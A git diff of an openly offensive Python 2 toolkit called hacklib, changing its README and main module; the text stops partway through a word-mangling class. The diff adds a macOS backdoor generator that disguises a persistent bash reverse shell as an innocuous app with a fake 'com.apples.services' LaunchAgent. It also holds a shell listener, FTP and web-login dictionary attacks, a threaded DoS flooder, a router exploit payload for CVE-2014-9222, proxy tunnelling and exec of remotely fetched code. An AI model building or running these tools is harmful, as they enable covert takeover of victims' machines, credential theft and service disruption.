diff --git a/README.md b/README.md
index bf73913..fcbb5e9 100644
--- a/README.md
+++ b/README.md
@@ -2,20 +2,70 @@

[](https://www.python.org/)
##### Toolkit for hacking enthusiasts using Python.
-hacklib is a Python module for hacking enthusiasts interested in network security. It is currently in active development.
+hacklib is a Python module for hacking enthusiasts interested in network security. It is no longer in active development.
-#### Examples of Usage
--
-Multi-threaded Denial of Service (DOS) Stress-Testing:
+
+#### Installation
+To get hacklib, simply run in command line:
+```console
+pip install hacklib
+```
+
+
+hacklib also has a user interface. To use it, you can do one of the following:
+
+Download hacklib.py and run in console:
+```console
+python hacklib.py
+----------------------------------------------
+Hey. What can I do you for?
+
+
+Enter the number corresponding to your choice.
+
+1) Connect to a proxy
+2) Target an IP or URL
+3) Lan Scan
+4) Create Backdoor
+5) Server
+6) Exit
+
+```
+Or if you got it using pip:
+
+```python
+import hacklib
+hacklib.userInterface()
+```
+
+
+#### Usage Examples
+Reverse shell backdooring (Currently only for Macs):
```python
import hacklib
-dos = hacklib.DOSer()
-# Create 50 threads to send GET requests for 30 seconds
-dos.launch('127.0.0.1', duration=30, threads=50)
+bd = hacklib.Backdoor()
+# Generates an app that, when ran, drops a persistent reverse shell into the system.
+bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')
+# Takes the IP and port of the command server, the OS of the target, and the name of the .app
```
--
-Universal Login for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins:
+Generated App:
+
+
+
+Listen for connections with Server:
+```python
+>>> import hacklib
+>>> s = hacklib.Server(9090) # Bind server to port 9090
+>>> s.listen()
+New connection ('127.0.0.1', 50011) # Target ran the app (connection retried every 60 seconds)
+bash: no job control in this shell
+bash$ whoami # Type a command
+leon
+bash$ # Nice!
+```
+
+Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins:
```python
import hacklib
@@ -24,16 +74,16 @@ ac = hacklib.AuthClient()
# Logging into a gmail account
htmldata = ac.login('https://gmail.com', 'email', 'password')
-# Returns HTML whether login works or not.
-# If resulting URL is the same, assumes failure and returns False.
-if htmldata and 'Inbox' in htmldata:
- print 'Login Success'
+# Check for a string in the resulting page
+if 'Inbox' in htmldata: print 'Login Success.'
+else: print 'Login Failed.'
-# For logins using HTTP Basic Auth, just check boolean:
-#if htmldata:
-# print 'Login Success'
+# For logins using HTTP Basic Auth:
+try:
+ htmldata = ac.login('http://somewebsite.com', 'admin', 'password')
+except: pass #login failed
```
-Simple Dictionary Attack using AuthClient:
+Simple dictionary attack using AuthClient:
```python
import hacklib
@@ -47,7 +97,7 @@ for p in passwords:
print 'Password is', p
break
```
--
+
Port Scanning:
```python
from hacklib import *
@@ -59,7 +109,7 @@ ps.scan(getIP('yourwebsite.com'))
# After a scan, open ports are saved within ps for reference
if ps.portOpen(80):
# Establish a TCP stream and sends a message
- send(getIP('yourwebsite.com'), 80, message='GET HTTP/1.1 \r\n')
+ send(getIP('yourwebsite.com'), 80, message='GET / HTTP/1.0\r\n\r\n')
```
Misfortune Cookie Exploit (CVE-2014-9222) using PortScanner:
@@ -70,7 +120,7 @@ Misfortune Cookie Exploit (CVE-2014-9222) using PortScanner:
>>> ps = hacklib.PortScanner()
>>> ps.scan('192.168.1.1', (80, 81))
Port 80:
-HTTP/1.1 404 Not Found
+HTTP/1.1 200
Content-Type: text/html
Transfer-Encoding: chunked
Server: RomPager/4.07 UPnP/1.0
@@ -78,7 +128,7 @@ EXT:
# The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.
# Exploitation
->>> payload = '''GET /HTTP/1.1
+>>> payload = '''GET / HTTP/1.0\r\n
Host: 192.168.1.1
User-Agent: googlebot
Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8
@@ -89,8 +139,8 @@ Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB\x00''' + '\r\n\r\n'
# The cookie replaced the firmware's memory allocation for web authentication with a null bye.
# The router's admin page is now fully accessible from any web browser.
```
--
-FTP Authentication:
+
+FTP authentication:
```python
import hacklib
ftp = hacklib.FTPAuth('127.0.0.1', 21)
@@ -99,3 +149,89 @@ try:
except:
print 'Login failed.'
```
+
+Socks4/5 proxy scraping and tunneling
+```python
+>>> import hacklib
+>>> import urllib2
+>>> proxylist = hacklib.getProxies() # scrape recently added socks proxies from the internet
+>>> proxy = hacklib.Proxy()
+>>> proxy.connect(proxylist) # automatically find and connect to a working proxy in proxylist
+>>> proxy.IP
+u'41.203.214.58'
+>>> proxy.port
+65000
+>>> proxy.country
+u'KE'
+# All Python network activity across all modules are routed through the proxy:
+>>> urllib2.urlopen('http://icanhazip.com/').read()
+'41.203.214.58\n'
+# Notes: Only network activity via Python are masked by the proxy.
+# Network activity on other programs such as your webbrowser remain unmasked.
+# To filter proxies by country and type:
+# proxylist = hacklib.getProxies(country_filter = ('RU', 'CA', 'SE'), proxy_type='Socks5')
+```
+
+Word Mangling:
+
+```python
+from hacklib import *
+
+word = Mangle("Test", 0, 10, 1990, 2016)
+
+word.Leet()
+word.Numbers()
+word.Years()
+```
+Output:
+
+```
+T3$t
+Test0
+0Test
+...snip...
+Test10
+10Test
+Test1990
+1990Test
+...snip...
+Test2016
+2016Test
+```
+
+Pattern Create:
+
+```python
+from hacklib import *
+
+Pattern = PatternCreate(100)
+
+Pattern.generate()
+```
+Output:
+
+```
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
+```
+
+Pattern Offset:
+
+```python
+from hacklib import *
+
+Offset = PatternOffset("6Ab7")
+
+Offset.find()
+```
+Output:
+
+```python
+[+] Offset: 50
+```
+
+#### Dependencies
+Not all classes have external dependencies, but just in case you can do the following:
+```python
+hacklib.installDependencies()
+```
+
diff --git a/__init__.py b/__init__.py
new file mode 100644
index 0000000..1628afc
--- /dev/null
+++ b/__init__.py
@@ -0,0 +1 @@
+from hacklib import *
diff --git a/hacklib.py b/hacklib.py
index 0bf3834..21c7269 100644
--- a/hacklib.py
+++ b/hacklib.py
@@ -18,10 +18,103 @@
CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE
OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.'''
-import socket, httplib, threading, time, urllib2
-from multiprocessing import Queue
+import socket
+import threading
+import time
+import urllib2
+import os
+from Queue import Queue
+try: # Import scapy if they have it. If they don't, they can still use hacklib
+ from scapy.all import *
+ import logging
+ logging.getLogger("scapy.runtime").setLevel(logging.ERROR) # Fixes scapy logging error
+except:
+ pass
+from string import ascii_uppercase, ascii_lowercase, digits # Import for PatternCreate and PatternOffset
-class FTPAuth:
+
+class Backdoor(object):
+ '''Creates an app carrying a persistent backdoor payload. Currently only for Mac OSX.
+ Payloads for Windows and Linux coming soon.'''
+
+ def __init__(self):
+ self.IP = ''
+ self.port = ''
+ self.osx_payload = '''#!/bin/bash
+mkdir ~/Library/.h
+echo '#!/bin/bash
+bash -i >& /dev/tcp/HOST/PORT 0>&1
+wait' > ~/Library/.h/connect.sh
+chmod +x ~/Library/.h/connect.sh
+echo '
+
+Label
+com.apples.services
+ProgramArguments
+
+/bin/sh
+'$HOME'/Library/.h/connect.sh
+
+RunAtLoad
+
+StartInterval
+60
+AbandonProcessGroup
+
+
+' > ~/Library/LaunchAgents/com.apples.services.plist
+chmod 600 ~/Library/LaunchAgents/com.apples.services.plist
+launchctl load ~/Library/LaunchAgents/com.apples.services.plist
+exit
+'''
+
+ def create(self, IP, port, OS, appname='funny_cats'):
+ '''Creates a user-level reverse shell.'''
+
+ if OS == 'OSX':
+ self.osx_payload = self.osx_payload.replace('HOST', IP).replace('PORT', str(port))
+ try:
+ os.makedirs(os.getcwd() + '/' + appname + '.app/Contents/MacOS')
+ except:
+ pass
+ payload_path = os.getcwd() + '/' + appname + '.app/Contents/MacOS/' + appname
+ with open(payload_path, 'w') as f:
+ f.write(self.osx_payload)
+ import subprocess
+ subprocess.Popen(['chmod', '755', payload_path])
+ print 'Payload saved to ' + os.getcwd() + '/' + appname + '.app'
+
+
+class Server(object):
+
+ def __init__(self, port):
+ import socket
+ self.port = port
+ self.address = ('', port)
+
+ def listen(self):
+ import time
+ sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ sock.bind(self.address)
+ sock.listen(1)
+ while True:
+ connection, cAddress = sock.accept()
+ try:
+ print 'New connection', cAddress
+ while True:
+ data = connection.recv(32768)
+ if data:
+ print '\n'.join(data.split('\n')[:-1])
+ response = raw_input('bash$ ')
+ data = None
+ if response:
+ connection.sendall(response + '\n')
+ time.sleep(0.5)
+ finally:
+ connection.close()
+
+
+class FTPAuth(object):
'''FTP login and command handler.
Commands:
login() Args: username, password
@@ -34,23 +127,34 @@ def __init__(self, IP, port=21):
self.username = ''
self.password = ''
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
- self.s.settimeout(8)
+ self.s.settimeout(5)
self.s.connect((self.IP, self.port))
self.s.recv(1024)
- def send(self, message):
+ def _send(self, message):
self.s.send(message)
- return self.s.recv(2048)
+ response = self.s.recv(32768)
+ return response
+
+ def send(self, message):
+ self.s.send(message + '\r\n')
+ while True:
+ response = self.s.recv(32768)
+ if response:
+ return response
def login(self, username, password):
- self.send('USER ' + username + '\r\n')
- response = self.send('PASS ' + password + '\r\n')
+ self._send('USER ' + username + '\r\n')
+ response = self._send('PASS ' + password + '\r\n')
if '230' in response:
return
+ elif '331' in response:
+ return 'Password required'
else:
raise Exception(response)
-
-class AuthClient:
+
+
+class AuthClient(object):
'''Universal login tool for most login pages as well as HTTP Basic Authentication.
Commands:
login() Args: url, username, password
@@ -71,12 +175,12 @@ def _get_login_type(self):
return 'BA'
if 'timed out' in str(e).lower():
return 'TO'
-
+
def _login_mechanize(self):
try:
import mechanize
except:
- raise Exception('Please install the mechanize module before continuing.')
+ raise MissingPackageException('Please install the mechanize module before continuing.')
# Sets up common input names/ids and creates instance of mechanize.Browser()
userfields = ['user', 'username', 'usr', 'email', 'name', 'login', 'userid', 'userid-input', 'player']
passfields = ['pass', 'password', 'passwd', 'pw', 'pwd']
@@ -92,24 +196,28 @@ def _login_mechanize(self):
password_control = ''
# Locates username and password input, and submits login info
for control in br.form.controls:
- if control.name and control.name.lower() in userfields or control.id and control.id.lower() in userfields: username_control = control
- if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields: password_control = control
+ if control.name and control.name.lower() in userfields or control.id and control.id.lower() in userfields:
+ username_control = control
+ if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields:
+ password_control = control
username_control.value = self.username
- try: password_control.value = self.password
+ try:
+ password_control.value = self.password
except:
# Detected a username input but not a password input.
# Submits form with username and attempts to detect password input in resulting page
response = br.submit()
br.form = list(br.forms())[0]
for control in br.form.controls:
- if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields: password_control = control
+ if control.name and control.name.lower() in passfields or control.id and control.id.lower() in passfields:
+ password_control = control
password_control.value = self.password
response = br.submit()
# Returns response if the URL is changed. Assumes login failure if URL is the same
if response.geturl() != loginurl:
return response.read()
else:
- return False
+ raise Exception('Login credentials incorrect.')
def _login_BA(self):
try:
@@ -120,13 +228,13 @@ def _login_BA(self):
auth = urllib2.HTTPBasicAuthHandler(passmanager)
opener = urllib2.build_opener(auth)
response = opener.open(self.url, timeout=8)
+ data = response.read()
response.close()
- return True
+ return data
except Exception, e:
- print str(e)
if 'Error 401' in str(e):
- return False
-
+ raise Exception('Login credentials incorrect.')
+
def login(self, url, username, password):
self.url = url
self.username = username
@@ -134,15 +242,15 @@ def login(self, url, username, password):
# ascertain the type of login page given by url
logintype = self. _get_login_type()
if logintype == 'BA':
- # attempts to login with BA method and return True
- return self._login_BA()
+ # attempts to login with BA method and return html
+ return self._login_BA()
if logintype == 'TO':
- print 'Request timed out.'
- return False
+ raise Exception('Request timed out.')
if logintype == 'FORM':
return self._login_mechanize()
-class DOSer:
+
+class DOSer(object):
'''Hits a host with GET requests on default port 80 from multiple threads.
Commands:
launch() Args: host, duration, threads(default 1), port(default 80),
@@ -157,16 +265,17 @@ def __init__(self):
self.start_time = 0
self.time_length = 1
- def _attack(self, target):
+ def _attack(self, target):
# Sends GET requests for time_length duration
while int(time.time()) < self.start_time + self.time_length:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(1)
try:
s.connect((self.target, self.port))
- s.send("GET /" + self.payload + " HTTP/1.1\r\n")
- s.send("Host: " + self.target + "\r\n\r\n")
- except: pass
+ s.send("GET /" + self.payload + " HTTP/1.1\r\n")
+ s.send("Host: " + self.target + "\r\n\r\n")
+ except:
+ pass
def _threader(self):
while True:
@@ -174,7 +283,7 @@ def _threader(self):
self._attack(self.worker)
self.q.task_done()
- def launch(self, host, duration, threads = 1, port = 80, payload = 'default'):
+ def launch(self, host, duration, threads=1, port=80, payload='default'):
'''Launches threaded GET requests for (duration) seconds.
'''
self.target = host
@@ -182,9 +291,10 @@ def launch(self, host, duration, threads = 1, port = 80, payload = 'default'):
self.threads = threads
self.start_time = int(time.time())
self.time_length = duration
- if payload != 'default': self.payload = payload
+ if payload != 'default':
+ self.payload = payload
# Creates queue to hold each thread
- self.q = Queue()
+ self.q = Queue.Queue()
#print '> Launching ' + str(threads) + ' threads for ' + str(duration) + ' seconds.'
for i in range(threads):
t = threading.Thread(target=self._threader)
@@ -197,7 +307,8 @@ def launch(self, host, duration, threads = 1, port = 80, payload = 'default'):
self.q.join()
return
-class PortScanner:
+
+class PortScanner(object):
'''Scan an IP address using scan(host) with default port range 1-1024.
Commands:
scan() Args: IP, port_range(default 1024), timeout(default 1), verbose(default True)
@@ -216,7 +327,7 @@ def _portscan(self, port):
s.settimeout(self.timeout)
# Tries to establish a connection to port, and append to list of open ports
try:
- con = s.connect((self.IP,port))
+ con = s.connect((self.IP, port))
response = s.recv(1024)
self.openlist.append(port)
if self.verbose:
@@ -237,27 +348,30 @@ def _portscan(self, port):
Accept-Encoding: gzip, deflate''' + '\r\n\r\n'
s.send(headers)
response = s.recv(1024)
+ response = response.splitlines()
+ response = '\n'.join(response[:7])
self.openlist.append(port)
if self.verbose:
with self.print_lock:
print 'Port', str(port) + ':'
print response
s.close()
- except: pass
-
+ except:
+ pass
+
def portOpen(self, port):
if port in self.openlist:
return
else:
return False
-
+
def _threader(self):
while True:
self.worker = self.q.get()
self._portscan(self.worker)
self.q.task_done()
- def scan(self, IP, port_range = (1, 1025), timeout = 1, verbose = True):
+ def scan(self, IP, port_range=(1, 1025), timeout=1, verbose=True):
'''Scans ports of an IP address. Use getIP() to find IP address of host.
'''
self.openlist = []
@@ -265,7 +379,7 @@ def scan(self, IP, port_range = (1, 1025), timeout = 1, verbose = True):
self.port_range = port_range
self.timeout = 1
# Creates queue to hold each thread
- self.q = Queue()
+ self.q = Queue.Queue()
for x in range(30):
t = threading.Thread(target=self._threader)
t.daemon = True
@@ -275,12 +389,254 @@ def scan(self, IP, port_range = (1, 1025), timeout = 1, verbose = True):
self.q.put(worker)
self.q.join()
-
+
+
+class LanScanner(object):
+ '''Scans local devices on your LAN network.
+ Commands:
+ scan() Args: host_range(default (1, 255))
+ '''
+
+ def __init__(self):
+ self.host_range = []
+ self.alive_hosts = []
+ self.localIP = ''
+
+ def _threader(self):
+ while True:
+ self.worker = self.q.get()
+ self._scan(self.worker)
+ self.q.task_done()
+
+ def _scan(self, host):
+ import subprocess
+ try:
+ resp = subprocess.check_output(['ping', '-c1', '-W90', host])
+ self.alive_hosts.append(host)
+ except:
+ return
+
+ def getLocalIP(self):
+ import subprocess
+ proc = subprocess.Popen(["ifconfig"], stdout=subprocess.PIPE, shell=True)
+ (out, err) = proc.communicate()
+ data = out.splitlines()
+ for line in data:
+ if 'inet ' in line and '127.' not in line:
+ return line.split(' ')[1]
+
+ def scan(self, h_range=(1, 255)):
+ # Finds local IP first in order to determine IP range of local network
+ localip = self.getLocalIP()
+ stub = '.'.join(localip.split('.')[:-1])
+ # Adds list of possible local hosts to self.range_range
+ for i in range(h_range[0], h_range[1]):
+ self.host_range.append(stub + '.' + str(i))
+ self.q = Queue.Queue()
+ # Launches 100 threads to ping 254 potential hosts
+ for x in range(100):
+ t = threading.Thread(target=self._threader)
+ t.daemon = True
+ t.start()
+ for worker in self.host_range:
+ self.q.put(worker)
+ self.q.join()
+ return list(set(self.alive_hosts))
+
+
+class _Getch:
+ """Gets a single character from standard input. Does not echo to the
+ screen."""
+
+ def __init__(self):
+ try:
+ self.impl = _GetchWindows()
+ except ImportError:
+ try:
+ self.impl = _GetchUnix()
+ except ImportError:
+ self.impl = _GetchMacCarbon()
+
+ def __call__(self): return self.impl()
+
+
+class _GetchUnix:
+ def __init__(self):
+ import tty
+ import sys
+ import termios
+
+ def __call__(self):
+ import sys
+ import tty
+ import termios
+ try:
+ fd = sys.stdin.fileno()
+ old_settings = termios.tcgetattr(fd)
+ try:
+ tty.setraw(sys.stdin.fileno())
+ ch = sys.stdin.read(1)
+ finally:
+ termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)
+ return ch
+ except:
+ return raw_input('> ')
+
+
+class _GetchWindows:
+ def __init__(self):
+ import msvcrt
+
+ def __call__(self):
+ try:
+ import msvcrt
+ return msvcrt.getch()
+ except:
+ return raw_input('> ')
+
+
+class Proxy(object):
+ '''Can work in conjunction with getProxies() to tunnel all
+ network activity in the Python script through a Socks4/5 proxy.
+ Commands:
+ connect() Args: getProxies(), timeout=10
+ connect_manual() Args: IP, port, proxy_type
+ '''
+
+ def __init__(self):
+ self.IP = ''
+ self.port = ''
+ self.proxy_type = ''
+ self.country = ''
+ self._socksfile = urllib2.urlopen('https://raw.githubusercontent.com/Anorov/PySocks/master/socks.py').read()
+ global socks
+ # Dynamically import socks.py from the internet
+ socks = importFromString(self._socksfile, 'socks')
+
+ def connect(self, proxies, timeout=10):
+ for proxy in proxies:
+ if proxy[4] == 'Socks4':
+ self.proxy_type = socks.PROXY_TYPE_SOCKS4
+ else:
+ self.proxy_type = socks.PROXY_TYPE_SOCKS5
+ try:
+ # Sets the socket.socket class to the socks module's socksocket class
+ socks.setdefaultproxy(self.proxy_type, proxy[0], int(proxy[1]))
+ socket.socket = socks.socksocket
+ # Tests to see if the proxy can open a webpage
+ currentIP = urllib2.urlopen('http://icanhazip.com/', timeout=timeout).read().split()[0]
+ self.IP = proxy[0]
+ self.port = int(proxy[1])
+ self.country = proxy[2]
+ return
+ except:
+ pass
+ raise Exception('Couldn\'t connect to any proxies.')
+
+ def connect_manual(IP, port, proxy_type='Socks5'):
+ if proxy_type == 'Socks4':
+ self.proxy_type = socks.PROXY_TYPE_SOCKS4
+ else:
+ self.proxy_type = socks.PROXY_TYPE_SOCKS5
+ try:
+ socks.setdefaultproxy(self.proxy_type, IP, port)
+ socket.socket = socks.socksocket
+ currentIP = urllib2.urlopen('http://icanhazip.com/').read().split()[0]
+ self.IP = IP
+ self.port = port
+ return currentIP
+ except:
+ raise Exception('Connection failed.')
+
+
+def importFromString(code, name):
+ """Import dynamically generated code as a module.
+ Args: code: a string, a file handle, or a compiled binary
+ name: the name of the module
+ """
+ import sys
+ import imp
+ module = imp.new_module(name)
+ exec code in module.__dict__
+ return module
+
+
def getIP(host):
return socket.gethostbyname(host)
+
+def randomIP():
+ import struct
+ return socket.inet_ntoa(struct.pack('>I', random.randint(1, 0xffffffff)))
+
+
+def getProxies(country_filter='ALL', proxy_type=('Socks4', 'Socks5')):
+ '''Gets list of recently tested Socks4/5 proxies.
+ Return format is as follows:
+ [IP, Port, Country Code, Country, Proxy Type, Anonymous, Yes/No, Last Checked]
+ Args: country_filter: Specify country codes within a tuple, e.g. ('US', 'MX')
+ proxy_type: Specify whic Socks version to use, e.g. 'Socks5'
+ '''
+ try:
+ import mechanize
+ except:
+ raise MissingPackageException('Please install the mechanize module before continuing. Use hacklib.installDependencies()')
+ try:
+ from bs4 import BeautifulSoup
+ except:
+ raise MissingPackageException('Please install the beautifulsoup4 module before continuing. Use hacklib.installDependencies()')
+ br = mechanize.Browser()
+ br.set_handle_robots(False)
+ br.addheaders = [('User-agent', 'googlebot')]
+ data = br.open('http://www.socks-proxy.net').read()
+ soup = BeautifulSoup(data, 'html.parser')
+ proxylist = []
+ table = soup.find('table')
+ tbody = table.find('tbody')
+ rows = tbody.find_all('tr')
+ for row in rows:
+ cols = row.find_all('td')
+ cols = [ele.text.strip() for ele in cols]
+ proxylist.append([ele for ele in cols if ele])
+ filteredlist = []
+ if not country_filter == 'ALL':
+ for proxy in proxylist:
+ if proxy[2] in country_filter:
+ filteredlist.append(proxy)
+ proxylist = filteredlist
+ filteredlist = []
+ if not proxy_type == ('Socks4', 'Socks5'):
+ for proxy in proxylist:
+ if not country_filter == 'ALL':
+ if proxy[4] in proxy_type and proxy[2] in country_filter:
+ filteredlist.append(proxy)
+ else:
+ if proxy[4] in proxy_type:
+ filteredlist.append(proxy)
+ proxylist = filteredlist
+ return proxylist
+
+
+def installDependencies():
+ import subprocess
+ mech = subprocess.check_output(['/usr/local/bin/pip', 'install', 'mechanize'])
+ if 'successfully installed' in mech:
+ print 'Installed mechanize'
+ beaut = subprocess.check_output(['/usr/local/bin/pip', 'install', 'bs4'])
+ if 'successfully installed' in beaut:
+ print 'Installed beautifulsoup'
+ scapy = subprocess.check_output(['/usr/local/bin/pip', 'install', 'scapy'])
+ if 'successfully installed' in scapy:
+ print 'Installed scapy'
+ pcapy = subprocess.check_output(['/usr/local/bin/pip', 'install', 'pcapy'])
+ if 'successfully installed' in pcapy:
+ print 'Installed pcapy'
+
+
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-def send(IP, port, message, keepalive = False):
+
+
+def send(IP, port, message, keepalive=False):
'''Creates new socket and sends a TCP message. If keepalive is true, use hacklib.sock
to handle socket and hacklib.sock.close() when finished.
'''
@@ -295,10 +651,573 @@ def send(IP, port, message, keepalive = False):
sock.close()
return response
+
+def ping(host):
+ """Pings a host and returns true if the host exists.
+ """
+ import os
+ import platform
+ ping_str = "-n 1" if platform.system().lower() == "windows" else "-c 1"
+ return os.system("ping " + ping_str + " " + host) == 0
+
+
def topPasswords(amount):
- '''Get up to 1,000,000 most common passwords.
+ '''Get up to 100,000 most common passwords.
'''
url = 'https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/10_million_password_list_top_100000.txt'
passlist = urllib2.urlopen(url).read().split('\n')
return passlist[:amount]
+
+def uiPortScan(address):
+ print ''
+ print '1) default scan (port range 1-1024)'
+ print '2) custom range'
+ ink = _Getch()
+ cmd = ink()
+ ps = PortScanner()
+ print 'Beginning port scan.'
+ if cmd == '1':
+ ps.scan(address)
+ if cmd == '2':
+ s_port = raw_input('Input starting port > ')
+ e_port = raw_input('Input end port >')
+ ps.scan(address, (int(s_port), int(e_port)))
+ print 'Port scan complete.'
+
+
+def uiDOS(address):
+ dos = DOSer()
+ print ''
+ duration = raw_input('Duration > ')
+ threads = raw_input('Threads > ')
+ port = int(raw_input('Port > '))
+ payload = raw_input('Payload > ')
+ print 'Launching DOS attack'
+ dos.launch(address, duration, threads, port, payload)
+
+
+def uiTCPMessage(address):
+ print ''
+ port = int(raw_input('Input port >'))
+ message = raw_input('Message > ')
+ send(address, port, message)
+
+
+def uiLogin(address):
+ print ''
+ print 'Select login type'
+ print '1) HTTP/Form login'
+ print '2) FTP login'
+ print '3) Exit'
+ print ''
+ ink = _Getch()
+ cmd = ink()
+ if cmd == '1':
+ ac = AuthClient()
+ print '1) Dictionary attack'
+ print '2) Exit'
+ ink = _Getch()
+ cmd = ink()
+ if cmd == '1':
+ username = raw_input('Username > ')
+ print '1) Try most common passwords'
+ print '2) Import password list (separated by newline)'
+ cmd = ink()
+ if cmd == '1':
+ print 'Try the top out of 100,000 most common passwords:'
+ num = int(raw_input('> '))
+ passwords = topPasswords(num)
+ if cmd == '2':
+ passfile = raw_input('Filepath > ')
+ with open(passfile, 'r') as f:
+ passwords = passfile.read().splitlines()
+ print 'Input a unique string the webpage may respond with if login fails'
+ print 'i.e. "please try again" or "login failed"'
+ failstring = raw_input('> ')
+ for password in passwords:
+ try:
+ data = ac.login(address, username, password)
+ if failstring in data:
+ print password + ' failed'
+ elif failstring not in data:
+ print 'Login success!'
+ print 'Password is: ' + password
+ time.sleep(2)
+ return
+ except:
+ print password + ' failed'
+ if cmd == '2':
+ return
+
+ if cmd == '2':
+ ftp = FTPAuth(address)
+ print '1) Dictionary attack'
+ print '2) Single login'
+ print '3) Exit'
+ ink = _Getch()
+ cmd = ink()
+ username = raw_input('Username > ')
+ if cmd == '1':
+ print 'Try the top out of 100,000 most common passwords:'
+ num = raw_input('> ')
+ for password in topPasswords(num):
+ try:
+ response = ftp.send('USER ' + username + '\r\n')
+ if '331' in response:
+ response = ftp.send('PASS ' + password + '\r\n')
+ if '331' in response:
+ response = ftp.send('PASS ' + password + '\r\n')
+ if '230' in response:
+ print 'Login success!'
+ print 'Password is: ' + password
+ time.sleep(2)
+ return
+ if '530' in response:
+ print password + ' failed.'
+ ftp = FTPAuth(address)
+ except:
+ print password + ' failed.'
+ ftp = FTPAuth(address)
+
+ if cmd == '2':
+ username = raw_input('Username > ')
+ ftp.send('USER ' + username + '\r\n')
+ password = raw_input('Password > ')
+ ftp.send('PASS ' + password + '\r\n')
+ if cmd == '3':
+ return
+
+
+def uiLanScan():
+ lan = LanScanner()
+ print 'Starting Lan scan'
+ hosts = lan.scan()
+ for ip in hosts:
+ print ip
+ print 'Lan scan complete.'
+ time.sleep(2)
+
+
+def uiCreateBackdoor():
+ print ''
+ print 'Select OS'
+ print '1) Mac OSX'
+ ink = _Getch()
+ cmd = ink()
+ if cmd == '1':
+ ip = raw_input('Listener IP > ')
+ port = raw_input('Listener Port > ')
+ appname = raw_input('Filename > ')
+ bd = Backdoor()
+ bd.create(ip, port, 'OSX', appname)
+ time.sleep(2)
+
+
+def uiServer():
+ print ''
+ port = raw_input('Listening port > ')
+ s = Server(int(port))
+ print 'Listening on port ' + port
+ s.listen()
+
+
+def userInterface():
+ '''Start UI if hacklib isn't being used as a library.
+ '''
+ firstrun = 0
+ while True:
+ if firstrun == 0:
+ print '----------------------------------------------'
+ print 'Hey. What can I do you for?'
+ print '\n'
+ firstrun += 1
+ print 'Enter the number corresponding to your choice.'
+ print ''
+ print '1) Connect to a proxy'
+ print '2) Target an IP or URL'
+ print '3) Lan Scan'
+ print '4) Create Backdoor'
+ print '5) Server'
+ print '6) Exit'
+ ink = _Getch()
+ cmd = ink()
+ if cmd == '6':
+ return
+ if cmd == '2':
+ address = raw_input('Input IP or URL > ')
+ if '.' not in address:
+ print 'Invalid IP/URL.'
+ return
+ print 'What would you like to do?'
+ print ''
+ print '1) Port scan'
+ print '2) DOS'
+ print '3) Send TCP message'
+ print '4) Attempt login'
+ print '5) Exit'
+ cmd = ink()
+ if cmd == '1':
+ uiPortScan(getIP(address))
+ if cmd == '2':
+ uiDOS(getIP(address))
+ if cmd == '3':
+ uiTCPMessage(getIP(address))
+ if cmd == '4':
+ uiLogin(address)
+ cmd = ''
+
+ if cmd == '3':
+ uiLanScan()
+
+ if cmd == '4':
+ uiCreateBackdoor()
+
+ if cmd == '5':
+ uiServer()
+
+ if cmd == '1':
+ print 'Would you like to automatically find a proxy or input one manually?'
+ print 'Enter the number corresponding to your choice.'
+ print ''
+ print '1) Auto'
+ print '2) Manual'
+ cmd = ink()
+ print 'Connecting to a SOCKS proxy.'
+ proxies = getProxies()
+ global proxy
+ proxy = Proxy()
+ if cmd == '1':
+ proxy.connect(getProxies())
+ print 'Your new IP address is ' + proxy.IP
+ print 'This proxy is located in ' + proxy.country
+ print '---------'
+ time.sleep(2)
+ if cmd == '2':
+ pr_address = raw_input('Proxy address > ')
+ pr_port = raw_input('Proxy port > ')
+ pr_type = raw_input('Enter "Socks4" or "Socks5" > ')
+ try:
+ proxy.connect_manual(pr_address, pr_port, pr_type)
+ except:
+ print 'Connection failed.'
+ time.sleep(2)
+ pass
+ print 'Proxy connected.'
+ time.sleep(2)
+ pass
+
+
+"""
+
+This Class Mangles Words specified by the user
+
+Example:
+
+Test = hacklib.Mangle("Test", 1, 10, 1996, 2016)
+
+Test.Leet()
+
+Output: T3st
+
+"""
+
+
+class Mangle:
+
+ def __init__(self, text, num1, num2, year1, year2):
+
+ self.num1 = num1
+ self.num2 = num2
+ self.year1 = year1
+ self.year2 = year2
+ self.text = text
+
+ def Numbers(self):
+
+ for x in self.text.split():
+
+ for i in range(self.num1, self.num2):
+
+ print ("%s" + "%s") % (x, i)
+ print ("%s" + "%s") % (i, x)
+
+ def Years(self):
+
+ for x in self.text.split():
+
+ for i in range(self.year1, self.year2):
+
+ print ("%s" + "%s") % (x, i)
+ print ("%s" + "%s") % (i, x)
+
+ def UniqueNum(self):
+
+ for x in self.text.split():
+
+ for i in range(self.num1, self.num2):
+
+ print ("%s" + "%s" + "%s") % (x, x, i)
+
+ def UniqueYears(self):
+
+ for x in self.text.split():
+
+ for i in range(self.year1, self.year2):
+
+ print ("%s" + "%s" + "%s") % (x, x, i)
+
+ def FirstLetterCapNum(self):
+
+ for x in self.text.split():
+
+ for i in range(self.num1, self.num2):
+
+ print ("%s" + "%s") % (x.capitalize(), i)
+ print ("%s" + "%s") % (i, x.capitalize())
+
+ def Caps(self):
+
+ for x in self.text.split():
+
+ print x.capitalize()
+
+ def UniqueCaps(self):
+
+ for x in self.text.split():
+
+ print ("%s" + "s") % (x.capitalize(), x.capitalize())
+
+ def CapandYears(self):
+
+ for x in self.text.split():
+
+ for i in range(self.year1, self.year2):
+
